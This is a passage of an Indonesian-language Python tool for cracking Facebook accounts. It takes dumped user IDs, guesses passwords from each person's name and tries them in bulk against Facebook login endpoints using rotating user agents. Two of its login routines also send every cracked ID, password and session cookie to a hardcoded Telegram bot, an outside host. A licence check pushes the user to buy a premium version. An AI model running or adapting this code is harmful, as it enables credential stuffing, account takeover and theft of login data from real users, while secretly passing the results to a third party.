  562.             back()
  563.     elif kz in ['2','02']:
  564.         try:vin = os.listdir('OK')
  565.         except FileNotFoundError:
  566.             print('╰─ File Tidak Di Temukan ')
  567.             time.sleep(2)
  568.             back()
  569.         if len(vin)==0:
  570.             print('╰─ Anda Tidak Mempunyai File OK ')
  571.             time.sleep(2)
  572.             back()
  573.         else:
  574.             cih = 0
  575.             lol = {}
  576.             for isi in vin:
  577.                 try:hem = open('OK/'+isi,'r').readlines()
  578.                 except:continue
  579.                 cih+=1
  580.                 if cih<100:
  581.                     nom = ''+str(cih)
  582.                     lol.update({str(cih):str(isi)})
  583.                     lol.update({nom:str(isi)})
  584.                     print(''+nom+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
  585.                 else:
  586.                     lol.update({str(cih):str(isi)})
  587.                     print(''+str(cih)+'. '+isi+'\033[32m '+str(len(hem))+' \033[0mSucses '+x)
  588.             geeh = input('\n╰─ Chouse : ')
  589.             try:geh = lol[geeh]
  590.             except KeyError:
  591.                 print('╰─ Pilih Yang Bener Kontol ')
  592.                 exit()
  593.             try:lin = open('OK/'+geh,'r').read().splitlines()
  594.             except:
  595.                 print('╰─ File Tidak Di Temukan ')
  596.                 time.sleep(2)
  597.                 back()
  598.             nocp=0
  599.             for cpku in range(len(lin)):
  600.                 cpkuni=lin[nocp].split('|')
  601.                 print(f'\n╰─OK\033[32m {cpkuni[0]}|{cpkuni[1]}|\033[32m{cpkuni[2]}\033[0m')
  602.                 nocp +=1
  603.             input('\n╰─ Back Enter ')
  604.             back()
  605.     elif kz in ['0','00']:
  606.         back()
  607.     else:
  608.         print('╰─ Pilih Yang Bener Kontol ')
  609.         exit()
  610.  
  611. def crack_file():
  612.     try:vin = os.listdir('DUMP')
  613.     except FileNotFoundError:
  614.         print('╰─ File Tidak Ditemukan ')
  615.         time.sleep(2)
  616.         back()
  617.     if len(vin)==0:
  618.         print('╰─ Kamu Tidak Memiliki File Dump ')
  619.         time.sleep(2)
  620.         back()
  621.     else:
  622.         cih = 0
  623.         lol = {}
  624.         for isi in vin:
  625.             try:hem = open('DUMP/'+isi,'r').readlines()
  626.             except:continue
  627.             cih+=1
  628.             if cih<100:
  629.                 nom = ''+str(cih)
  630.                 lol.update({str(cih):str(isi)})
  631.                 lol.update({nom:str(isi)})
  632.                 print(f' %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
  633.             else:
  634.                 lol.update({str(cih):str(isi)})
  635.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  636.                 print('╰─ %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  637.         geeh = input('\n╰─ Chouse : ')
  638.         print('')
  639.         try:geh = lol[geeh]
  640.         except KeyError:
  641.             print(f'╰─{k} Pilih Yang Bener Kontol {x}')
  642.             time.sleep(3)
  643.             back()
  644.         try:lin = open('DUMP/'+geh,'r').read().splitlines()
  645.         except:
  646.             print('╰─ File Tidak Ditemukan, Coba Lagi Nanti ')
  647.             time.sleep(2)
  648.             back()
  649.         for xid in lin:
  650.             id.append(xid)
  651.         setting()
  652.  
  653. def setting():
  654.     print('')
  655.     cetak(nel(f"Pilihan Crack Bisa Menulis Kan {M2}old {P2}/{H2} new {P2} / {K2} random {P2} Atau juga {M2}1 {P2}/{H2} 2 {P2}/ {K2}3{P2}",width=80,padding=(0,7),style=f"{color_panel}"))
  656.     prints(f"""{B2}╭─────────────────────╮   {B2}╭──────────────────╮
  657. {B2}│ {P2}Crack Old {B2}          │{B2}   │      {P2}Crack New{B2}   │
  658. {B2}╰─────────────────────╯{B2}   ╰──────────────────╯""")
  659.     prints(f"""{B2}╭─────────────────────╮
  660. {B2}│ {P2}Crack Random {B2}       │
  661. {B2}╰─────────────────────╯""")
  662.     hu = input('╰─ Chouse : ')
  663.     if hu in ['1','old']:
  664.         for tua in sorted(id):
  665.             id2.append(tua)
  666.            
  667.     elif hu in ['2','new']:
  668.         muda=[]
  669.         for bacot in sorted(id):
  670.             muda.append(bacot)
  671.         bcm=len(muda)
  672.         bcmi=(bcm-1)
  673.         for xmud in range(bcm):
  674.             id2.append(muda[bcmi])
  675.             bcmi -=1
  676.     elif hu in ['3','random']:
  677.         for bacot in id:
  678.             xx = random.randint(0,len(id2))
  679.             id2.insert(xx,bacot)
  680.     else:
  681.         print('╰─ input correctly ')
  682.         exit()
  683.         print('')
  684.        
  685.     print('')
  686.     prints(nel(f'''\t{P2}[{H2}1{P2}] Metode P P\t[{H2}2{P2}] Metode Jadul\n\t[{H2}3{P2}] Metode Api garph"''',width=80,style=f"{color_panel}"))
  687.     hc = input('[•] Pilih  : ')
  688.     if hc in ['1','01']:
  689.         method.append('mobile')
  690.     elif hc in ['2','02']:
  691.         method.append('free')
  692.     elif hc in ['3','03']:
  693.         method.append('mbasic')
  694.     else:
  695.         method.append('mobile')
  696.     su()
  697. def su():
  698.     prints(nel(f"\t{P2}[{H2}1{P2}].   321 + 123 + 12345 [ {K2}Kurang Efektif {P2}]\n\t[{H2}2{P2}].   123 + 12345 + 123456 [ {M2}Kurang Meyakinkan {P2}]\n\t[{H2}3{P2}].   123 + 1234 + 12345 [{H2} Disarankan Ini {P2}]\n\t[{H2}4{P2}].   123 + 12345 [{H2} Disarankan Ini {P2}]",width=80,style=f"{color_panel}"))
  699.     ch = input('[•] Pilih  : ')
  700.     if ch in ['1','01']:
  701.         babi()
  702.     elif ch in ['2','02']:
  703.         sulap()
  704.     elif ch in ['3','03']:
  705.         passu()
  706.     elif ch in ['4','04']:
  707.         mie()
  708.     else:
  709.         passu()
  710. def mie():
  711.     global prog,des
  712.     print('')
  713.     print(f'OK{x} Save in : {h}OK/%s {x}'%(okc))
  714.     print(f'CP{x} Save in : {k}CP/%s {x}'%(cpc))
  715.     print('')
  716.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  717.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  718.     des = prog.add_task('',total=len(id))
  719.     with prog:
  720.         with tred(max_workers=30) as pool:
  721.             for yuzong in id2:
  722.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  723.                 frs = nmf.split(' ')[0]
  724.                 pwv = []
  725.                 if len(nmf)<6:
  726.                     if len(frs)<3:
  727.                         pass
  728.                     else:
  729.                         pwv.append(nmf)
  730.                         pwv.append(frs+'123')
  731.                         pwv.append(frs+'12345')
  732.                 else:
  733.                     if len(frs)<3:
  734.                         pwv.append(nmf)
  735.                     else:
  736.                         pwv.append(nmf)
  737.                         pwv.append(frs+'123')
  738.                         pwv.append(frs+'12345')
  739.                 if 'ya' in pwpluss:
  740.                     for xpwd in pwnya:
  741.                         pwv.append(xpwd)
  742.                 else:pass
  743.                 if 'mobile' in method:
  744.                     pool.submit(crack,idf,pwv)
  745.                 elif 'free' in method:
  746.                     pool.submit(crackfree,idf,pwv)
  747.                 elif 'mbasic' in method:
  748.                     pool.submit(crackmbasic,idf,pwv)
  749.                 else:
  750.                     pool.submit(crack,idf,pwv)
  751.         print('')
  752.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  753.         print('')
  754. def passu():
  755.     global prog,des
  756.     print('')
  757.     print(f'OK{x} Save in : {h}OK/%s {x}'%(okc))
  758.     print(f'CP{x} Save in : {k}CP/%s {x}'%(cpc))
  759.     print('')
  760.     prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  761.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  762.     des = prog.add_task('',total=len(id))
  763.     with prog:
  764.         with tred(max_workers=30) as pool:
  765.             for yuzong in id2:
  766.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  767.                 frs = nmf.split(' ')[0]
  768.                 pwv = []
  769.                 if len(nmf)<6:
  770.                     if len(frs)<3:
  771.                         pass
  772.                     else:
  773.                         pwv.append(nmf)
  774.                         pwv.append(frs+'123')
  775.                         pwv.append(frs+'1234')
  776.                         pwv.append(frs+'12345')
  777.                 else:
  778.                     if len(frs)<3:
  779.                         pwv.append(nmf)
  780.                     else:
  781.                         pwv.append(nmf)
  782.                         pwv.append(frs+'123')
  783.                         pwv.append(frs+'1234')
  784.                         pwv.append(frs+'12345')
  785.                 if 'ya' in pwpluss:
  786.                     for xpwd in pwnya:
  787.                         pwv.append(xpwd)
  788.                 else:pass
  789.                 if 'mobile' in method:
  790.                     pool.submit(crack,idf,pwv)
  791.                 elif 'free' in method:
  792.                     pool.submit(crackfree,idf,pwv)
  793.                 elif 'mbasic' in method:
  794.                     pool.submit(crackmbasic,idf,pwv)
  795.                 else:
  796.                     pool.submit(crack,idf,pwv)
  797.         print('')
  798.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  799.         print('')
  800. def sulap():
  801.     global prog,des
  802.     print('')
  803.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  804.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  805.     print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  806.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  807.     des = prog.add_task('',total=len(id))
  808.     with prog:
  809.         with tred(max_workers=30) as pool:
  810.             for yuzong in id2:
  811.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  812.                 frs = nmf.split(' ')[0]
  813.                 pwv = []
  814.                 if len(nmf)<6:
  815.                     if len(frs)<3:
  816.                         pass
  817.                     else:
  818.                         pwv.append(nmf)
  819.                         pwv.append(frs+'123')
  820.                         pwv.append(frs+'12345')
  821.                         pwv.append(frs+'123456')
  822.                 else:
  823.                     if len(frs)<3:
  824.                         pwv.append(nmf)
  825.                     else:
  826.                         pwv.append(nmf)
  827.                         pwv.append(frs+'123')
  828.                         pwv.append(frs+'12345')
  829.                         pwv.append(frs+'123456')
  830.                 if 'ya' in pwpluss:
  831.                     for xpwd in pwnya:
  832.                         pwv.append(xpwd)
  833.                 else:pass
  834.                 if 'mobile' in method:
  835.                     pool.submit(crack,idf,pwv)
  836.                 elif 'free' in method:
  837.                     pool.submit(crackfree,idf,pwv)
  838.                 elif 'mbasic' in method:
  839.                     pool.submit(crackmbasic,idf,pwv)
  840.                 else:
  841.                     pool.submit(crack,idf,pwv)
  842.         print('')
  843.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  844.         print('')
  845.        
  846. def babi():
  847.     global prog,des
  848.     print('')
  849.     print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
  850.     print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
  851.     print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
  852.     prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  853.     des = prog.add_task('',total=len(id))
  854.     with prog:
  855.         with tred(max_workers=30) as pool:
  856.             for yuzong in id2:
  857.                 idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  858.                 frs = nmf.split(' ')[0]
  859.                 pwv = []
  860.                 if len(nmf)<6:
  861.                     if len(frs)<3:
  862.                         pass
  863.                     else:
  864.                         pwv.append(nmf)
  865.                         pwv.append(frs+'321')
  866.                         pwv.append(frs+'123')
  867.                         pwv.append(frs+'12345')
  868.                 else:
  869.                     if len(frs)<3:
  870.                         pwv.append(nmf)
  871.                     else:
  872.                         pwv.append(nmf)
  873.                         pwv.append(frs+'321')
  874.                         pwv.append(frs+'123')
  875.                         pwv.append(frs+'12345')
  876.                 if 'ya' in pwpluss:
  877.                     for xpwd in pwnya:
  878.                         pwv.append(xpwd)
  879.                 else:pass
  880.                 if 'mobile' in method:
  881.                     pool.submit(crack,idf,pwv)
  882.                 elif 'free' in method:
  883.                     pool.submit(crackfree,idf,pwv)
  884.                 elif 'mbasic' in method:
  885.                     pool.submit(crackmbasic,idf,pwv)
  886.                 else:
  887.                     pool.submit(crack,idf,pwv)
  888.         print('')
  889.         cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
  890.         print('')
  891. def crack(idf,pwv):
  892.     global loop,ok,cp
  893.     bi = random.choice(['\33[m'])
  894.     pers = loop*100/len(id2)
  895.     fff = '%'
  896.     prog.update(des,description=f'\r[deep_white] Kok Api  {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
  897.     prog.advance(des)
  898.     ses = requests.Session()
  899.     ua = random.choice(ugen)
  900.     ua2 = random.choice(ugen2)
  901.     for pw in pwv:
  902.         try:
  903.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  904.             p = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=222161937813280&kid_directed_site=0&app_id=222161937813280&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D222161937813280%26redirect_uri%3Dhttps%253A%252F%252Faccount.xiaomi.com%252Fpass%252Fsns%252Flogin%252Fload%26state%3DSTATE_248222%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D11699442-ce8e-4d69-8952-fb5f6b0c3d12%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccount.xiaomi.com%2Fpass%2Fsns%2Flogin%2Fload%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DSTATE_248222%23_%3D_&display=page&locale=id_ID&pl_dbl=0&_rdc=1&_rdr')
  905.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  906.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  907.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  908.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  909.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  910.             if "checkpoint" in po.cookies.get_dict().keys():
  911.                 print(f'\r├── Email  : {kk}{idf}{P} {kk}{pw}          {P}\n└── User Agent  : {kk}{ua}{P}  ')
  912.                 requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={idf}|{pw} akun cp").json()
  913.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  914.                 akun.append(idf+'|'+pw)
  915.                 cp+=1
  916.                 break
  917.             elif "c_user" in ses.cookies.get_dict().keys():
  918.                 ok+=1
  919.                 coki=po.cookies.get_dict()
  920.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  921.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  922.                 print(f'\r├── Email  : {hh}{idf}{P} {hh}{pw}          {P}\n└──  Cookie : {hh}{kukis}{P}')
  923.                 requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={idf}|{pw}{kuki} akun ok").json()
  924.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  925.                 break
  926.             else:
  927.                 continue
  928.         except requests.exceptions.ConnectionError:
  929.             time.sleep(3)
  930.     loop+=1
  931. def crackfree(idf,pwv):
  932.     global loop,ok,cp
  933.     bi = random.choice(['\33[m'])
  934.     pers = loop*100/len(id2)
  935.     fff = '%'
  936.     prog.update(des,description=f'\r[deep_white] M2 {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
  937.     prog.advance(des)
  938.     ua = random.choice(ugen)
  939.     ua2 = random.choice(ugen2)
  940.     ses = requests.Session()
  941.     for pw in pwv:
  942.         try:
  943.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  944.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  945.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  946.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  947.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  948.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  949.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  950.             if "checkpoint" in po.cookies.get_dict().keys():
  951.                 print(f'\r├── Email  : {kk}{idf}{P} {kk}{pw}          {P}\n└── User Agent  : {kk}{ua}{P}  ')
  952.                 requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={idf}|{pw}akun cp").json()
  953.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  954.                 akun.append(idf+'|'+pw)
  955.                 cp+=1
  956.                 break
  957.             elif "c_user" in ses.cookies.get_dict().keys():
  958.                 ok+=1
  959.                 coki=po.cookies.get_dict()
  960.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  961.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  962.                 print(f'\r├── Email  : {hh}{idf}{P} {hh}{pw}          {P}\n└──  Cookie : {hh}{kukis}{P}')
  963.                 requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={idf}|{pw}{kuki} akun ok").json()
  964.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  965.                 break
  966.                
  967.             else:
  968.                 continue
  969.         except requests.exceptions.ConnectionError:
  970.             time.sleep(3)
  971.     loop+=1
  972. def crackmbasic(idf,pwv):
  973.     global loop,ok,cp
  974.     bi = random.choice(['\33[m'])
  975.     pers = loop*100/len(id2)
  976.     fff = '%'
  977.     prog.update(des,description=f'\r[deep_white] M2 {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
  978.     prog.advance(des)
  979.     ua = random.choice(ugen)
  980.     ua2 = random.choice(ugen2)
  981.     ses = requests.Session()
  982.     for pw in pwv:
  983.         try:
  984.             head = {
  985. "x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)),
  986. "x-fb-sim-hni": str(random.randint(20000, 40000)),
  987. "x-fb-net-hni": str(random.randint(20000, 40000)),
  988. "x-fb-connection-quality": "EXCELLENT",
  989. "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA",
  990. "user-agent": ua,
  991. "content-type": "application/x-www-form-urlencoded",
  992. "x-fb-http-engine": "Liger"
  993. }
  994.             resp = ses.get("https://b-api.facebook.com/method/auth.login?format=json&email="+str(idf)+"&password="+str(pw)+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=head)
  995.             if "www.facebook.com" in resp.json()["error_msg"]:
  996.                 if 'ya' in oprek:
  997.                     akun.append(idf+'|'+pw)
  998.                     ceker(idf,pw)
  999.                 else:
  1000.                     print(f'├── Email  : {kk}{idf}{P} \n│   └──  Sandi  : {kk}{pw}{P}\n└── User Agent  : {kk}{ua}{P} ')
  1001.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1002.                     akun.append(idf+'|'+pw)
  1003.                     cp+=1
  1004.                 break
  1005.             elif "session_key" in resp.text and "EAAA" in resp.text:
  1006.                 print(f'├── Email  : {hh}{idf}{P} \n│   └──  sandi  : {hh}{pw} {P}\n└──  Cookie : {hh}{kuki}{P}')
  1007.                 open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
  1008.                 ok+=1
  1009.                 break
  1010.                
  1011.             else:
  1012.                 continue
  1013.         except requests.exceptions.ConnectionError:
  1014.             time.sleep(3)
  1015.     loop+=1
  1016. def getkey():
  1017.     import json, requests
  1018.     try:
  1019.         openkey = open(".key.txt","r").read()
  1020.         files = openkey.split("\n")[1]
  1021.         key = openkey.split("\n")[0]
  1022.     except FileNotFoundError:
  1023.         os.system("clear")
  1024.         none();time.sleep(1)
  1025.         print("")
  1026.         print("\033[0m╰─ Authour Meledak XD TOD ")
  1027.         print("\033[0m╰─ License Anda Tidak Tersedia ");time.sleep(2)
  1028.         print ("")
  1029.         jalan("\033[0m╰─ license anda :\033[32m "+crot);time.sleep(1)
  1030.         namamu = input("\033[0m╰─ nama anda : ")
  1031.         yt = input("\033[0m╰─ Chat Admin Untuk Beli Lisensi y/t? > ")
  1032.         if yt in ["Y","y"]:
  1033.             os.system("xdg-open https://wa.me/+6281322544391?text=Assalamualaikum+bang+Meledak,+aku+mau+beli+scriptnya+tapi+yang+versi+premium.+Ini+lisensinya:%20"+crot+"+konfitmasi+nama+pembeli:%20"+namamu)
  1034.             open(".key.txt","w").write(crot+"\n"+namamu)
  1035.             exit()
  1036.         else:
  1037.             exit("\033[0m╰─ Telah keluar program")
  1038.     try:
  1039.         confirmkey = requests.get("https://raw.githubusercontent.com/privatescrip/database/main/ya.json").json()
  1040.     except requests.exceptions.ConnectionError:
